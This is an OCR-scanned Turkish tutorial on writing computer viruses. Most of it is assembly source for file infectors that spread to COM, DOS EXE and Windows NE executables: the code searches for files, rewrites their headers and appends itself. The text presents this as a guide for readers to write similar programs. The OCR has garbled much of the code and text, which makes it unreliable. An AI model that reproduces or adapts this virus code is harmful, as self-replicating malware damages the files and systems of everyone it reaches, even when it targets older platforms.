degisikliklerin neler oldugunu 6grendiniz. Dolayisiyla bundan sonra sizde benzeri

programlar yazabilirsiniz.



Yrnek COM Dosva Virtisi

Modecl tiny
.Code

Org 100h

db O¢Yh . jmp vstart
dw 0

call next

pop bp
sub bp. ofTsct next  : dclta ofscti burada clde edihiyor

. Orjinal ilk g bytet geri yikliyoruz
| lea si, |bp+olTset stufT]
mov di, 100h

| - Stack iizerine 100h adresine verlestirivoruz daha sonra RETN igin
| push di

MOVSW

movsb

[ . Kendi DTA adresimizi avarhiyvoruz
| - Eper avarlanmaz isc commandline parametreleri silinebilir.
Ica dx, |bptolTset dia]

call sct_dta

nmov ah, 4ch . Find first
lca dx. [bp+masker] : "*.COM' dosya aramak igin gerekli
Xor CN,.CX . dosva dzellik maskesi

tryanother:
int 21h
Jc quit - hata halinde ¢ik.

 Dosvayt read/write modunda ag

mov ax. 3D02h

lea dx. |bp+tollsct dta+30] . Dosya ismi DTA igerisine alindi
int 21h




xchg

; 1k ii¢ byte't oku

ax. bx

mov ah, 3fh

lea dx, [bp+stufl]
mov ox. 3

int 21h

: Daha dnce bulasilmig nu?
mov ax, word ptr [bp+dta+26] ; ax = dosya boyu
mov cx, word ptr [bp+stuff+1] ; jmp lokasyon

add cx, eov - vstart + 3 . dosya boyuna gevir
cmp ax, cx . eger ayni ise bulagilmig
jz close : bulastlmig ise dosyay1 kapat

. jmp ofset adresini hesapla
sub 3 . ax = dosya boyu - 3

mov

word ptr [bptofTset writebuffer], ax

. dosyanin bagina git

Xor al, al
call f ptr

. ilk ii¢ byte'i yaz
mov ah, 40h
mov  cx, 3
lea dx, [bp+e9]
int 21h

. dosyanin sonuna git

mov al.-2
call f ptr
mov ah, 40h
mov cX, cov - vslart
lea dx, |bp+vstart]
int 21h
close:
mov ah, 3ch
int 21h

. diper bir dosyaya bulagmak i¢in Find next

mov
jmp

ah, 4Ih - Find nexlt

short tryanother




[ quit;

| DTA adresi diizenlenivor ve kontrolii ana orjinal programa devrel

mov  dx, 80h . Orijinal DTA adresi
| - default olarak PSP:80h
sl dla:
| mov  ah, lah . DTA'vi set el
il 21h
retn
[ ptr:
mov  ah, 42h
Xor  CX,CX
cwd
int 21
retn
[ masker db "* com'.)
stull db Ocdh, 200, 0
[ cY db 0cOh
[ cov equ § , viriisiin sonu
[ wrilchulTer dw
[ dla db 42 dup (7)
END  Start

—_




EXE Dosya Viriisleri

Kopya Edici
Bildiginiz iizere DOS islctim sistemi iizerinde ¢ahsabilir ikinci dosya tipt (labiki
prompt iizerinden) EXE dosyalardir. EXE dosyalar COM dosvalardan farkh yapiya
sahiptirler. Burada EXE dosya ile ilgili uzun uzun bahscdecek degiliz. Bu dosya
formatr ile ilgili daha fazla bilgi DOS isletim sisteminin tcknik dokiimanlarinda
bulunabilir. Burada EXE dosya formali iizerinde viriislerin bulagma islcimim nasil
gergeklestirdiklerini anlatabilmek igin gerekli yerleri agiklamak ile yetinecegiz,

EXE dosva iizerinde viriisiin bir kismim dosvanin bagina yazmak gibi bir problem
voktur. COM dosyalar igin gergeklestirilen bu iglem EXE dosya iizerinde header ile
ilgili bir takim hesaplamalar sonucu bazi degerlerin venilenmesi ile gergeklestirilir. Bu
hesaplamalar viiziinden EXE dosvayva bulagmak biraz kangsik gelebilir. Fakat EXE
header't dizerinde ivi bir inceleme vaptugimzda bunun nasil yvapildigim kolavhikla

anlavabilirsiniz.

EXE dosyanin format sévledir:.

Ofset  Uzunlugu Agitklamasi
00h 2 BYTEs EXE signature, either "MZ" or "ZM" (SA4Dh or 4D5Ah)
*02h WORD- number of bytes i last 512-bvie page of executable
*04h WORD total number of 512-bvie pages in executable
(includes any partial last page)
06h WORD nmumber of relocation entries
08h WORD header size in paragraphs
0Ah WORD minimum paragraphs of memory to allocation in
addition lo executable's size
OCh  WORD maximun paragraphs to allocate n
addition to executable's size
*0Eh WORD initial S8 relative Lo start of executable
*10h WORD mitial SP
12h WORD checksum (one's complement
ol sum ol all words i executable)
*14h DWORD initial CS:IP relative to start of excecutable
181 WORD ollset within header of relocation table
40h or greater for new-format (NE,LIL LX,PE etc.) executable
1Al WORD overlay number (normally 0000h = main program)

* ile isaretledigimiz kisunlar virits tarafindan degistirilmesi gereken ofset adresleridir.




Bunu anlamak igin ilk ®nce EXE dosyanmin segmentlere gdore vyapilandiging
anlamahisimz. Bu segmenller herhangi bir yerde baglayip bitebilirler. Viriisiin
bulagabilmek i¢in yapugi kehdi kodunu dosyanin sonuna eklemektir. Bu EXE dosvaniu
sonuna yazilan yeni kodlar vapilan degisiklikler ile dosyanin kendi segmenti haline
getirilir. Bundan sonra yapilmas: gercken viriisiin ilk énce ¢alisip kontrolii asil
programa vermesini saglamaktur. COM dosyada oldugu gibi EXE dosyanin basina
yazma iglemine gerek yoktur. Sadece header iizerinde ki gerekli bazi degerler)
degistirmek bunun igin yeterlidir. COM dosya viriislerinde anlatnus oldugumuz V1 ve
V2 béliimlerini hatirlayin; viriisii yine VI ve V2 scklinde diisiiniirsck, EXE dosva icin
V1 kismut bu dosya tipinin ézelliginden dolayr gercksizdir. Ciinkii COM dosvalarda
program daima 0100h adresinde itibarcn ¢ahsmaya baslar. COM dosvalarin bu
ozelligini deg,lslircmcdlgnm; icin 0100h  adresine viriisiin  baglangict  vazilmak
zorundadir. Chsa EXE dosyalar igin béyle bir zorunluluk voktur. Dolayisi ile sadece
V2 boliimii EXE dosvanin sonuna ilave edilecektir. Bu ilave isleminden sonra header
izerindeki CS:IP degerlerini dosvanin sonuna yazilan viriisiin baglangicini gésterceck
sckilde degistirdiginizde, virisiin ana programdan &nce g¢aligmasim  saglanng
olursunuz. Tabiki bu arada degistirme iglemini gergeklestirmeden énce orjinal CS:IP
ve SS:SP degerlerini bir yerde saklamahsimz, Ciinkii viriis kontrolii ana programa
devredecegi zaman bu degerleri kullanmak zorundadir. Simdi degistirme isleminin

nasil gergeklestirildigini gérelim.

Tamimlayict word degeri genelde ZM, bazen MZ de olabilir. Ofset 4. adresteki word
dosya uzunlugunu page biriminden verir. Bir page 512 byte hafiza parcasidir. Dosya
uzunlugu 16752 byte ise bu word igerisinde 32 (20h) degeri bulunur. Ofset 2. adresicki
word son sayfamin (page) vzunlugunu tutar. Dosya uzunlugu 512 ile MOD islemine
tabr tutulur. Orncbm dosyanin uzunlugu 16752 byte ise bu word igerisinde 368 (170h)
degert bulunur. Bu uzunluga header dahil degildir. Header uzunluguda 512'nin katidir
ve bu pek onemli degildir. Ofset 2. adresteki word 4. adresteki word'un degerine esit
ise bu 6nemsenmez. Ciinkii Microsoft Link programinin 1.10'dan énceki versivonlar

bu hataya scbep olmakiaydilar.

Minimum hafiza gercksinimi (offsct 0Ah) vinis tarafindan éncmsenmeyebilir, buna
kargihk maksimum hafiza programa genclde isletim sistemi tarafindan verilir. Jnitial
stack segment ve pointerler saklanir. /nitial SS:SP header'in sonunda 0000:0000'n
taban (basc) adresi ile hesaplamir. Yine benzer sckilde initial CS:1P header'in sonunda
0000:0000%m taban adresi ile hesaplamir. Ornefin, efer program baslangic noktasi
(entry point) header'dan sonra gériintiyorsa CS:IP 0000:0000 olmalidir. Program

caginldiginda, PSP+10 segment degerine eklenir.

Ofset OEh isc initial stack segmentin paragraf header'in sonuna gore izafi deperini
(displacement). ofset 10h initial stack pointer'imin stack segmentin basglangicina gore
izafi degerini, Ofset i4h adresinden itibaren 2 word (dword) ise initial CS-7/”nin
header''n sonuna gére izafi baglangig degerini igerir. Ofset 14h ve 16h viriisiin

baslangicimin vazilacag verlerdir.



Bir Exe bulasici vinis asagidaki adunlari izler,

[- Virisi dosvanin sonuna yaz

2- Initial CS:IP ve SS:SP'vi sakla ve headert veniden diizenle

3- Header'da dosva uzunlugunu degistir ve veni uzunluga gore avarla

4- Gavenlik icin ilave dnlemler al, (Grnek minimum hafiza ihtivacon yiukselting
5- Son olarak yvenilenmiys headert bulasilan dosyayva vac.

EXE dosyalar COM dosvalardan farkh ¢aginhrlar. PSP DOS iizerinde gahsan biitiin
programlar i¢in olusturulur. Fakat sadece COM dosyalarda CS segmentinin degeri ilk
baslangigta PSP'nin segmentine csit olur. EXE dosyalarda CS ve IP header iizerinde
gasterilen baslangic noktasina (entry point) esitlenir. DS ve ES scgmentlert PSP'nin
scgmentine esittir. Bu viizden kontrolii EXE dosyalarda asil programa vermeden DS ve
[£S segmentlerinin degerimi geri yiklemek énembhidir.

EXE dosyaya bulagmadan 6nce EXE header'da bulunan CS:IP ve S5:SP registerlarinin
orjinal degerlerimi saklamahsimz, ¢iinkii daha sonra bu degerlerin eski haline
getirilmesi  gereklidir. Dosva uzunlugu ofset hesaplamalarinda kullamilmak tzere
saklanmahidir. Yeni vazilacak olan CS:IP ve S5:SP'min nasil hesaplanacagim 6rnekie
bulacaksimiz. Dosva vzunlugunun DX:AX'e saklandigr kabul edilmmstir.

mov bx. word ptr |bp+ExcHead+8] ; Header boyu paragral olarak
M-=-- burada daha énce agtiginmiz dosvanin handlcim
kavbetmediginizden emin olunuz

mov cl, 4 . 16 ile garpmak igin
shi bx. cl
sub ax. bx . header uzunlugu dosya

. uzunlugundan ¢ikartliyvor
sbb dx. 0

- simdi DX:AX igerisine dosya vzunlugu

. header uzunlugu gikartilnig olarak bulunuyor
mov cx. 10h
div cX

Bu ornck cok ctkili degildir. 1k énce 16'va boliip sonra dogrudan AX'ten gitkarmak
daha kolaydir. Fakat bu metodun bazt avantajlan bulunmaktadir. Bu sayede DX'tcki 1P
degerinin 15'ten ufak olacagimdan emin olacaksimiz. Bu stack pointer ne kadar baviik
bir sayi olursa olsun STACK'in baslangig noktast (ENTRY POINT) ile aynm scgment

iginde olmasim saglar.

Simdi AX*16+DX kodun sonunu verir. Eger viriis EXE dosyanin bittigi yerden
bashvor isc. AX ve DX sirasivla birinci CS:1P olarak kullamilabilir. Fakal viriis cger



baslangig noktasindan (entry point) énce bazi kod ve verive sahipse, baslangi¢ degerini
(entry point displacement) DX'e 1ilave edin.

mov word ptr [bp+ExcHead+ 14h]. dx ;[P Ofsct
mov word ptr [bp+ExeHead+16h), ax  : CS 'nin degeri

SS:SP simdi hesaplanabilir. Stack scgment Kod segmentine esittir (SS=CS). SP
register'inin gereek degeri konu disidir. SP yelerince biviiktiir, bu viizden stack kodun
istiine yazmaz. Genel kural olarak SP register'inin viris uzunlugundan en az 100 byvte
uzun olmasim saglavin. Bu olusabilecek bazi problemler icin énlem olur.

nmov word ptr |bp+ExcHcad+0Eh], ax . SS paragraf degeri
mov word ptr [bpt+ExclHcad+10h]. 0A000h . SP baslangic

DX:AX've vazdigimiz orjinal dosva uzunlugunu geri yviikleyvin, gerckli hesap igin:
DX:AX /512 ve DX:AX MOD 512

Ornck kod :

push ax . dosyva vzunlugunun diisiik word'u
. stack tizerine saklamvor

mov o [ 2 200-= 511

shr axeel Sfal2

ror dx.el /512

slc

adc dx. ax

pop ax . dosva uzunlugunun disik word'u

. stack dizerinden geri alimvor
and ah, | . MOD 512

mov word ptr [bp+ExeHead+4], dx ; EXE header igerisinde dosya
mov word ptr [bp+ExcHead+2), ax ; uzunlugu tamamlaniyor

Geriye kalan sadece viriisii sona vazimak ve EXE header'r diizenlemekltir.

mov ah. 3

Mmov cx. 18h

lea dx. [bp+ExcHead]

inf 21h

call infeclexe

mov ax, 4200h . dosyanin basina veniden

XOr CX. CX ~konumlan



xor dx. dx

int 21h

nmov ah, 40h . EXE header’1 yerine vaz

mov cx, 18h

lea . dx, |[bpt+ExeHead]

int 21h

mov ax, 4202h . dosyanmin sonuna git

xXor ot A

xor dx, dx

int 21h

mov ah, 40h . Note: burada sadece viriisiin

mov CX. part2size 2 ikinci kismim dosvaya

lca dx. |bp+offset part2start] . vazmak kaliyor

int 21h : giinkii 1lk olarak virtisiin
: calismasi icin EXE header

diizenlendi

Kontrolii Asil Programa Devretmek

EXE dosyada ise stack segment/pointer ve segment/instruction pointer degerlerim
verine koymahisimz. Tabi daha 6nce bu degerleri saklamis olmahsimiz. Bu nokta ¢ok
onemlidir. Ciinkii wvirisiiniiz isini  bitirdikten sonra kontrolii orjinal programa

vermelidir.

ExcReturn:
mov ax, es . PSP scgment adresini AX'e al
add ax. 10h - PSP 'vi ¢s gec
add word ptr cs;|bp+ExeWhereToJump+2], ax
ch
add ax, word ptr cs:|bp+StackSave+2] : stack'i geri yiikle
mov SS, ax
mov sp. word ptr cs:|bp+StackSave]
sli
db Ocah - JMP FAR PTR i¢in obje kod
ExcWhercToJump:
dd 0
StackSave:
dd 0
ExcWhereToJump2 dd

StackSave?2 dd ]



Bulasma csnasinda, ilk CS:IP ve SS:SP degerleri sirasiyla ExeWhereToJump2 ve
StackSave2 degiskenlerinde saklanmahdir. Bu degerler kontrolii EXE dosyava
vermeden dnce ExeWhercToJlump ve StackSave degerlerine atanmalidir. Bu geri

yiikleme iglemi bir dizi MOVSW komutu ile gergeklestirilir,

Bu anlatmis oldugumuz teknik tabiiki tck bulasma metodu degildir. Bunun yvaninda
kendiniz birgok yeni teknik kullanabilir ve geligtirebilirsiniz.

Ornck EXE Dosya Viriisii;

.model tiny
.code

org 100h
- 8rneck EXE bulasici

id ="CrI' . tanimlayict word
startvirus: . viriis kodu burada bashyor
call next . delta ofsct igin NEXT'i gaginyoruz
next:
pop bp . bp = IP next
sub bp.ollset next . bp = dclta ofsct
push  ds
push  es
push CS . DS =CS
pop  ds
push  c¢s  ES = Co
pop es
lea si,[bp+ympsavel]
lea di,[bp+jmpsave]
IMOVSW
MOVSW
MOVSW
MOVSW
Mmov ah,1Ah - veni DTA adresini set el
lea dx,[bp+newDTA]; yeni DTA adresi @ DS:DX
int 21h '
lea dx.[bptexc _mask]
mov ah.4ch . find Mrst kesmesi

mov el . herhangt bir dosya



ndflirstnext:
int
jc

nmov
call

movw
Ica
mov
int

nov
int

checkEXE:
cmp
mz

find_next:
mov

jmp

done_infections:
mov

mov
pop
pop
1t
Moy
add
add
add

cli

21h

done_infections - dosya bulunamadi
al . Oh - okuma modunda ag
open

ah,3fh . dosyayi buffer'a oku
dx.[bp+buffer] @ DS:DX

cx.1Ah

21h

ah.3ch . dosyay1 kapat

21h

word ptr [bp+buffer+10h],id : daha énce bulagilnug mi?
infect_exe

ah. 4 . [ind next kesmesi
short lindhirstnext

ah_ lah . orjinal DTA 'vi sct et
dx.80h
cs
ds . DS->PSP
21h
ax,cs . AX = PSP segment adresi
ax,10h
word plr cs:[si+jmpsave+2],ax
ax,word ptr cs:[si+stacksave+2]
- stack islemleri igin interrupt'lan durdur

mov sp.word plr cs:|si+stacksave]
MoV §§.ax

sti

db Oeah - JMP SSSS:0000 igin obje kod
jmpsave dd it - orjinal CS:1P
stacksave dd 7 . orjinal SS:SP
Jjmpsave2 dd OM0000h
stacksave2 dd ?



crealor
virusname

infect exe:
les
mov
mov

les
mov
mov

mov
mov
shl
xchg

les

mov
push
push

sub
sbb

mov
div

nmov
maowv

mov
mov

pop
pop

add
adc

mov
push
shr

db '[BS].0.'BS".0
db '[DemoEXE][CI].0

ax, dword ptr [bp+buller+14h]|
word pitr [bp+jmpsavel]. ax
word ptr [bp+jmpsave2+2]. es

ax, dword ptr [bp+bulTer+0OEh]
word ptr [bp+stacksavel], cs
word ptr [bp+stacksave2+2], ax

ax, word ptr |bp+buller + 8]
cl, 4 . byte cinsine gevir
ax, cl
ax, bx

ax, [bptofTset newDTA+206]
dx.es ; DX:AX igerisine
ax
dx

ax, bx | header uzunlugunu dosva

. eski stack degerini sakla

. header uzunlugunu al

. dosya uzunlugunu al

dx, 0 ; dosva uzunlugundan gikart

cx, 10h ; scgment:ofTsct sckline gevir

CcX

word ptr [bp+bulTer+14h], dx
word ptr [bp+buller+ 16h]. ax

word ptr |[bp+buller+OEh]. ax
word ptr [bptbuller+10h]. 1d

. yveni baslangi¢ noktasi

. yeni stack degeri

dx . dosya uzuniugunu gen al

ax

ax. heap-startvirus . viriis uzunlugunu ckle
dx, 0

cl. 9 . 279 =512

ax
ax. cl



ror
51C
adc

pop

and

mov
mov

push
pop

mov

finishinfection:
push
xor
call

mov
call

mov
lea
pop

int

mov
xor
cwd
int

mov
lca
mov
int

mov

mov
moy
1nt

mov

dx, cl

dx. ax
ax
ah, 1

word ptr [bpt+bufTer+4], dx

. dosya uzunlugu paragraf cinsinden

:mod 512

. Yeni dosya uzunlugu

word ptr [bp+buller+2], ax

Cs . CS 'nin degerini sakla
cs . ES iizerine geri al
cx. lah

CX
CX.CX
altributes

al.2
open

ah,40h
dx.|bp+bufler]
CX

21h

ax.4202h
CX.CX

21h

ah.40h

dx.[bp+startvirus]
cx,hcap-startvirus

21h

ax.5701h

cx,word ptr [bp+tnewDTA+16h]
dx.word ptr [bp+newDTA+18h]

21h

ah.3¢ch

. CX''In degerini sakla
. 6zellikleri temizle
. dosya ozelliklerini set et

. dosyvava vaz
. verileri bufTer igerisinden al
. Yazilacak veri uzunlugu

. dosya gostergecini tasima kesmesi
. dosyamin sonuna
- xor dx.dx

. dosyaya vazilacak veri uzunlugu
. dosyaya vaz

. dosyanin saatftarih 6zelliklerini degistir

. Saal
‘tarith

. dosyayt kapat



int 21h

mov  ch,0 o
mov cl.byte ptr [bp+newDTA+15h] - orjinal dosya dzelliklerini
call attributes . geri yikle

mo infections:
jmp find next

open:
mov ah.3dh
lea dx.[bp+newDTA+30] . dosya 1smi newDTA igerisinden al
int 21h
xchg ax.bx
ret
attributes:
nov ax,4301h
lea dx.|[bp+newDTA+30]
int 21h
rel
exe mask db "*.exe'.0
heap:
newDTA db 42 dup (7) . gegict DTA
bufTer db lah dup (7) . okunacak header igin
endheap: . viriisiin sonu

END startvirus
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|Windows EXE (New EXE) Dosya Viriisleri-

Kopya Edici

Hepimizin bildigi gibi PC diinyasinda artik Windows var. Bilgisayar kullanan hemen
hemen herkes Windows kullanmakta veya $§u vada bu sckilde karstlagmaktadar.
Getirmis oldugu arularla ve eksilerle gelccekteki igletim sistemlerinin (cn azindan PC
diinyasinda, tabi MICROSOFT destegi ile) standartlarini olugturma yolundadir

windows'un PC diinyvasinda bu derece yaygin hale gelmesi, onun da viriislerden
nasibini almasini saglamisur. Bu konu baghg altinda, bagliktan da anlagilacag gibi
Windows icin derlenmig programlara (NEW EXE = NE) viriislerin nasil bulastigt
anlatlacaktir. Daha énceleri vazilmig ve halen tecriibeli olmayan viriis  yazari
programcilar tarafindan yazilan bir cok viriis NE programlarin normal DOS EXE
dosyalan zannederek bulagmaktadir. Bu islemin sonucu NE'nin yapist normal EXE
dosyalardan farkli oldufu igin bulagilan programlar ¢alisamaz hale gelmektedir.
Bildiginiz gibi normal EXE dosyalar, viriisler tarafindan sovisimleri veya MZ/ZM
imzalariyla taninmaktadir. Bu kriterler her iki dosya tipi i¢in aymdir. Dolayisi ile

sonu¢ malumdur.

New EXE dosyalarina nasil bulasilacagim anlamak icin ilk ¢énce DOS EXE
dosyalarina bulagmanim nasil gerceklestigini anlanug olmalisiniz, (Bakimz EXE

DOSYA VIRUSLERI)

Kisa bir giristen sonra NE'ye bulagmanin nasil gergeklegtirileceginiz NE'nin yapisini ve
bulasildiktan sonraki halini gema halinde veriyoruz.
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Yukarida gordiigiiniiz gibi NE dosyalart kendi iglerinde ayni zamanda normal EXE
header'int ve belli miktarda DOS kodunu bulundurmaktadir. Bu windows galigmadig
anda dahi NE'nin DOS tarafindan galigtirilmasini ve programin windows ortami

olmadan caligmamasin saglamaktadir.

New EXE Testi

Windows EXE her zaman DOS EXE header kodu ile baglamaktadir. Bununla birlikte
NE'nin kendisine ait bir header alami bulunmaktadir. Header tizerinde -ofsct 18h
adresindeki word icerisinde 40h veya daha yukarsi, ofset 1025/1026'mc1 byte'larda da
(decimal) "NE" karakterleri bulunmaktadir. Bu iki word test edilerek NE tammabilir.

Dos Header Alaninin Diizenlenmesi
DOS EXE header't diizenlemeden 6nce ofset 10h igerisinde bulunan DOS SP degeri 8

azaltlmalidir. Ciinkii bu adres DOS kod segmentinin sonunu gostermektedir.
Dolayisiyla DOS SP degeri aymi zamanda NE header'inin baslangicim gosterir. Asil
NE header pointeri ofset 3Ch adresidir. Bu yiizden buradaki deger de 8 azalulmalidir.

New EXE Header Alanimin Diizenlenmesi

Segment tablosunun pointeri ofset-22h adresinde word vzunlugunda bir degerdir. Eger
4h, 24h, 26h, 28h ve 2Ah ofset adreslerindeki degerler 22h icerisindeki degerden
biiyiikse bunlarin hepsi 8 azaltilmahdir. Ciinkii bu alan viriis scgment baslangici ilave

etmek icin kullanilacaktir.

Segment sayact ofset 1Ch adresindedir ve bir word u;:l._mlugundadlr. Bu adresteki deger -
yeni bir segment ilave edildigi igin 1 arttirdmalidir.

Ofset 14h adresinden itibaren iki word bilgi program baslangig noktasi (CS:IP)
degerleridir CS:IP ikilisinden CS segment tablosunda ilk scgment numarasini
géstermekledir. Bu deger saklanmali ve CS:IP virlis segmentine ayarlanmahdir.
Béylece toplam segment degeri ile viriis segmenti en sona yazildig icin ilk segment
degeri birbirine esit olmaktadir.

Viris Segment Baglangic
Viriis segmentinin baglangtct agagidaki gibidir. (NE segment tablosu kayit vapisi)

Ofset  Uzunlugu Ag¢iklamast

00h Word offset in file (shift left by alignment shill for byte offsct)
02h Word length of image in file (0000h = 64K)

04h Word segment atlributes (sec below)

06h Word number of bytes to allocate for segment (0000h = 64K) E
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Segment yapisimin icindeki ofset 2. ve 6. adreste bulunan word degerleri viriisiin
uzunlugu ile ilgilidir. Ofset 4 adresinde ise her zaman 180h degeri olmalidir. Bu
scgmentin ¢alisabilen kisminin yeniden konumlandirilabilir olmasint sagiar.

Viriisiin Eklecnmesi
Bu kisim oldukga basittir. DOS EXE programlarinda oldugu gibi dosvanin en sonuna

kaydedilir.

Konumlandiriima Baglangicinin Yazilmasi
Biitiin viriislerde oldugu gibi viriis iglemlerini bitirdikten sonra kontrolii asil programa

devretmelidir.

Yeniden Konumlandiriima Baglangicuin yapisi

Ofset  Uzunluu Aciklamuase
00 WORD Number of relocation entries
Ofset  Uzunlugu Ag¢tklamase
00 BYTE relocation type
01 BYTE relocation [lags
02 WORD olfset within segment
04 WORD . target address segment
06 WORD target address ofTset

Ilk word'iin degeri daima | olmalidir. Ciinkii sadece 1 adet veniden konumlandirma
baglangici olabilir. Sonraki ilk byte 3 degerini alir. Bu yeniden konumlanmanin tipini
goslerir (3 = 32 bit JUMP FAR). Tablodaki 2. byte ise 4 degerini alir. Bir sonraki word
(ofsct 2) JUMP FAR komutundan sonra DWORD uzunlugundaki adres degerini
gosterir. Ofsct 4 adresindcki word orjinal programin CS degerini, 6'daki word isc IP
degerini gostermektedir.

Bu bilgileri verdikten sonra bu metodla Windows EXE dosyalarina bulagsma mantigini
ogrendiniz. Tabi bunun disinda bulagma metodlart da gelistirilecektir. Kisa bir siire
sonra farkli Windows birimlerine bulasan viriisler ortaya ¢ikacakur. Ornegin Windows
izerinde IDT (Interrupt Descriptor Table) gibi tablolarn kullanan teknikler
gelistirileccktir. Burada sadece virislerin Windows EXE dosyalarina nasil

bulasabilecegini anlatmaya calistik.

Konunun daha ivi anlasilmas: agisindan asagida Windows EXE dosyasinin vapisi
VEeriyoruz,

NE c¢alistirslmaya basglandifinda register'larin degerleri asagidaki gibi olur.



AX = Environment scgment

BX = ofTsct of command tail in environment segment
CX = Otomatik data segmentin uzuniugu (0000h = 64K)
ES.BP = 0000h (Wrong! ES=PSP)

DS = OQtomaltik data scgment

SS:SP = Stack

DOS EXT header yapist

Ofset  Uzunlugu Actklamast
00h 2BYTls EXE signature, either "MZ" or "ZM" (SA4Dh or 41D5Ah)
02h WORD. number of bytes in last 512-byte page of executable
04h WORD total number of 512-byte pages in exccutable
(includes any partial last page)
06h WORD number of relocation entries
08h WORD header size in paragraphs
0Ah WORD minimum paragraphs of memory to allocation in
addition to exccutable's size
0Ch WORD maximun paragraphs to allocate in
addition to executable's size
OEh WORD initial SS relative to start of execulable
10h WORD initial SP
12h WORD checksum (one's complement
of sum of all words in executable)
14h DWORD initial CS:1P relative to start of executable
18h WORD offsct within header of relocation table
40h or greater for new-format (NE,LE,LX,PE,etc.) excculable
1 Ah WORD overlay number (normally 0000h = main program)
-- New Exexutable --
ICh 4 BYTEs 1
20h WORD behavior bits
22h 26 BYTEs reserved for additional behavior info
3Ch DWORD offset of new executable (NE,LE, etc) header within disk file,

or 00000000h if plain MZ executable



NEW EXE header yapist
Uzunlugu

Ofset
00h
02h
04h
06h
08h
0Ch
0Dh
0FEh
10h
12h
14h
18h

1Ch
1Eh
20h
22h
24h
26h
28h
2Ah

2Ch
30h
32h

34h
36h

37h

38h
3Ah
3Ch
3Eh

2 BYTEs
2 BYTEs
WORD
WORD
DWORD
BYTE
BYTE
WORD
WORD
WORD
DWORD
DWORD

WORD
WORD
WORD
WORD
WORD
WORD
WORD
WORD

DWORD
WORD
WORD

WORD
BYTE

BYTE

.

WORD
WORD
WORD
2 BYTEs
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Agiklamast

"NE" (4Eh 45h) signature

linker version (major, then minor)

offset from start of this header to entry table (see below)
length of entry table in bytes

file load CRC (0 in Borland's TPW)

program flags (see below)

application flags (see below)

auto data segment index

initial local heap size
initial stack size (added to data seg, 0000h if SS <= DS)

program entry point (CS:IP), "CS" is index into segment table
initial stack pointer (S5:SP), "SS" is segment index

if SS=automatic data segment and SP=0000h,

the stack pointer is set to the top of the automatic

data segment, just below the local heap

segment count

module reference count
length of nonresident names table in byles

offset from start of this header to segment table (see below)
offset from start of this header to resource table

offset from start of this header to resident names table
ofTset from start of this header to module reference table
offset from start of this header to imported names table
(array of counted strings, terminated

with a string of length 00h)

ofIset from start of file to nonresident names table

count of moveable entry point listed in entry table

file alignment size shift count

0 is equivalent to 9 (default 512-byte pages)

number of resource table entries

target operating system

00h unknown

01th OS8R

02h Windows

(G3h European MS-DOS 4 .x

04h Windows 386

05h BOSS (Borland Operating System Services)

other EXE flags

bit 0: supports long filenames

bit 1: 2.X protected mode

bit 2: 2.X proportional font

bit 3: gangload area

offset Lo retumn thunks or start of gangload area

oflset to segment reference thunks or length of gangload arca
minimum code swap area size .
expected Windows version (minor version first)



New EXE program bayraklari

Bit

Actklamast

0-1

=] % LA B Lo b

DGROUP type

0 = none

1 = single shared

2 = multiple (unshared)
3 = (null)

global initialization
prolected mode only
8086 instructions
80286 instructions
80386 mstructions
80x87 instructions

New IEXE uygulama bayraklar

Bit

A¢tklamast

0-2

-] SN LA

application type

001 full screen (not aware of Windows/P.M. API)
010 compatible with Windows/P.M. APl

011 uses Windows/P.M. API

is a Family Application (OS/2)

O=execulable, 1=errors in umage

non-conforming program (valid stack is not maintained)
DLL or driver rather than application

(SS:SP info invalid, CS:IP points at FAR init routine
called with AX=module handle which returns
AX=0000h on failure, AX nonzero on successful
initialization)

New EXE segment tablo yapisi

Ofset  Uzunlugu Actklamuast

00h WORD olTset in file (shift left by align shifl to gel byte oflsy
02h WORD length of image in file (0000h = 64K)

04h WORD segment altributes (see below)

06h WORD number of byles to allocate for segment (0000h = 64K)



EFZIment ozellikierl

Bit Agtklamasi

data segment rather than code segment
unused?7?

real mode

iterated

movable

sharable

preloaded rather than demand-loaded
execute-only (code) or read-only (data)
relocations (directly following code for this segment)
debug info present |
10,11 80286 DPL bits

12 discardable

13-15 discard priority

W00 -] 4 b b= D

Nex EXE Yeniden Konumlandwilabiliv veri yapist

Ofset  Uzunlugu Ag¢thklamast
00h WORD number of relocation items
02h 8N BYTEs relocation items
Ofset  Uzunlugu Agtklamast
00h BYTE rclocation type
00h LOBYTE
02h BASE
03h PTR
05h OFFS
OBh PTR48
0Dh OFFS32
0lh - BYTE flags
bit 2: additive
02h WORD offset within segment
O4h WORD targel address segment

06h WORD target address offset



Ornek Windows Exe Viriisii

Virus_seg Segment
assume cs:virus_scg.ds:data_scg.ss:stack_seg
org O0fbh

:Bu metodla Windows EXE 've vazilan kod org 100h olacak

start:
mov ax,data_seg

mov ds,ax

:--= Buradan sonrasi1 Windows EXE'ye yazihiyor ---

cld

push es :ES stack iizerinde saklaniyor
push ds ‘DS =>ES

pop es

mov  si,offset name_space
mov di,offset name space2
nov v

rep movsb
mov dx,ofTset dta :Viriis kendi DTA alanini set ediyor
mov ah,lah
int 21h
mov dx,ofTset wildcard ;*.EXE igin bakiliyor
xor cX.Cx .aranacak dosya 6zellikleri sifirlaniyor
mov ah,4ch .Find First
find_next:
int 21h )
jc not found

mov dx,offset name_space ;Dosya bulundugunda
:bulagma rutini ¢agiriliyor

call infect
mov ah,4fh ‘Find Next.
jmp find next

not found:



oy
call

pop

mov
int

Infect Proc
mov
int
jc
xchg
nmov
call
jc
cmp
je

mov
int

push
push
call
pop
pop

mov
int

close exit;
mov
int

bad_open:
rel
Infect Endp

dx.offset name_spacc?
disinfect
cs

ax,4c00h
21h

Near

ax,3d02h

21h

bad _open
bx,ax

si,offset bufler
file_check
close_exit

 word ptr [si+14h].100h

close exit

ax,5700h

;Bulasilmug nu? kontrolii vapilivor

21h .Dosya saati ve tarihi alimyor

CX
dx
infect_file
dx

CX

ax,5701h .Dosya saati ve tarihi geri yiikleniyor

21h

ah,3eh
21h

Disinfect Proc Near
ax,3d02h :Dosya acilivor

mov
int
je

xchg

21h
bad open

bx,ax

6Y°



Mmov si,ofTset buffer
call file check
jc close_exil

‘Bulastimis mi? kontrolii yapiliyor (IP 100h "a esit mi?)
cmp word ptr [si+14h],100h
jne close_exit

:Dosya saat ve tarih degerlei saklaniyor
nov ax,5700h

int 21h

push CX

push  dx

call [ix_aulo_data
call fix_code_seg
pop dx

pop - cx

jmp close_exil

Disinfect Endp

File Check  Proc Near

call read_file

cmp word ptr [si],’ZM'

jne fail_exit

cmp word ptr [si+18h],40h
jb fail exit

mov ax,word ptr [si+3ch]
mov dx,word ptr [si+3eh]
call Iseck

